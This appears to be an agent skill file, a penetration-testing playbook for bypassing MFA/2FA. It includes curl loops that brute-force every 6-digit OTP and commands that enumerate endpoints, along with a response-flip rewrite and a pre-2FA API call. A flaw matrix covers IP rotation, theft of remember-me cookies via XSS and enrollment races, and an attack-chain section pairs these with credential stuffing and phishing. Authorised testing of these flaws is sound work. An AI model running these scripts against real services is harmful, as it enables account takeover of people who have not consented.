| name | mfa-bypass |
| description | 2FA / OTP logic flaws — response & status tampering, brute force, OTP reuse, backup-code abuse, race conditions, missing-2FA on flows, remember-me bypass, password-reset skips 2FA. |
| allowed-tools | Bash Read Write |
| metadata | {"when_to_use":"mfa 2fa otp totp sms authenticator bypass remember-me backup code step-up authentication","mitre_attack":"T1556.006","subdomain":"execution","tags":"web-application, authentication, mfa, 2fa, otp, account-takeover"} |
MFA / 2FA Bypass Playbook
Logic flaws in the second factor are pure ATO. Common because devs ship the
happy path (enter code → success) and forget the negative paths: response
tampering, brute force, replay, race, alternate flows, remembered devices.
1. Detection — map the 2FA surface
Enumerate every flow that should require a second factor:
for p in /login /login/2fa /api/2fa/verify /mfa/verify /account/security \
/account/email /account/password /password/reset /password/reset/confirm \
/oauth/authorize /api/session /api/session/elevate /backup-codes; do
curl -s -o /dev/null -w "%{http_code} $p\n" "https://<TARGET>$p"
done
curl -s -i -X POST "https://<TARGET>/api/2fa/verify" \
-H 'Content-Type: application/json' -H "Cookie: session=<HALF_AUTHED>" \
-d '{"code":"000000"}'
for i in $(seq 1 20); do
printf '%s ' "$(curl -s -o /dev/null -w '%{http_code}' -X POST \
"https://<TARGET>/api/2fa/verify" -H 'Content-Type: application/json' \
-H "Cookie: session=<HALF_AUTHED>" -d "{\"code\":\"$(printf '%06d' $i)\"}")"
done; echo
2. Flaw matrix
| Class | Symptom | Bypass |
|---|
| Response manipulation | server returns {"success":false} but client trusts it | intercept → flip to true |
| Status-code tamper | 401 vs 200 only checked client-side | rewrite 401 → 200 in proxy |
| Flag tamper | mfa_required=true in JWT/JSON | edit to false, resign / unsigned alg |
| No rate limit | unlimited wrong OTPs | 6-digit OTP = 10⁶ — brute over hours |
| Per-IP limit only | limit on attacker IP, not on user | rotate IPs / X-Forwarded-For |
| OTP reuse | same code valid after use | replay last code in a new session |
| OTP no expiry | code from yesterday still works | mine old SMS / email |
| Predictable OTP | seeded by userid/timestamp | precompute |
| Backup-code abuse | unlimited tries, codes never expire / not invalidated | brute backup codes endpoint |
| Race condition | two requests in flight — both succeed | parallel POSTs (HTTP/2 single-packet attack) |
| Missing 2FA on flow | /login enforces, /api/login does not | use alternate endpoint |
| Missing 2FA on password change | password change re-enables full session | reset → skip 2FA |
| Password reset skips 2FA | reset token logs you in without 2FA | abuse reset link |
| OAuth / SSO skips 2FA | social login returns a fully-authed session | login via Google instead |
| Remember-me cookie | persistent cookie skips 2FA forever | steal remember-me via XSS / log leak |
| Direct object access | /api/account works on half-authed session | call protected APIs pre-2FA |
| Enrollment race | attacker enrolls own TOTP for victim before victim does | hit /2fa/enroll first post-login |
|
3. Exploit PoC
3.1 Brute-force a 6-digit OTP (no rate limit)
COOKIE='session=<HALF_AUTHED>'
for i in $(seq 0 999999); do
CODE=$(printf '%06d' $i)
CODE_LEN=${#CODE}
RES=$(curl -s -o /dev/null -w '%{http_code}' -X POST \
"https://<TARGET>/api/2fa/verify" -H 'Content-Type: application/json' \
-H "Cookie: $COOKIE" -d "{\"code\":\"$CODE\"}")
[ "$RES" = "200" ] && { echo "HIT: $CODE"; break; }
(( i % 1000 == 0 )) && echo "tried $i ..."
done
3.2 Response-flip bypass
# Original server response
HTTP/1.1 200 OK
{"success":false,"mfa":"required"}
Rewrite at the proxy:
HTTP/1.1 200 OK
{"success":true,"mfa":"passed"}
If the SPA only inspects JSON to decide navigation, session cookie is already
full-authed server-side and the redirect succeeds.
3.3 Direct post-2FA endpoint access
curl -s "https://<TARGET>/api/account" -H "Cookie: session=<HALF_AUTHED>"
3.4 Race condition (HTTP/2 single-packet)
4. Chains
- MFA bypass → ATO is itself the chain endpoint. Pair with credential stuffing for scale.
- Password reset skips 2FA → ATO: phish/reset email → straight in.
- Remember-me theft via XSS → permanent 2FA bypass even after password change.
- Enrollment race → persistent ATO: attacker becomes the legitimate 2FA owner.
5. Tools
- Burp Suite + Turbo Intruder (race conditions, single-packet attack)
- Burp Match-and-Replace rules for response-flip
ffuf / hydra http-post-form for OTP brute when no JS guard
- mitmproxy scripts for live JSON tamper
6. Detection signatures & OPSEC
| Indicator | Detection method | OPSEC note |
|---|
Hundreds of /2fa/verify POSTs per session | App-level rate metric | Use a dedicated attacker test account; do not brute live victims without scope |
| Same OTP value tried across users | SIEM correlation | Vary code per user when testing reuse |
Concurrent requests on same state token | App anomaly | Race PoC only on isolated test users |
| Remember-me cookie from new geo | Risk engine | Validate with consent before extraction tests |
Decision Gate: MFA bypass confirmed → exploitation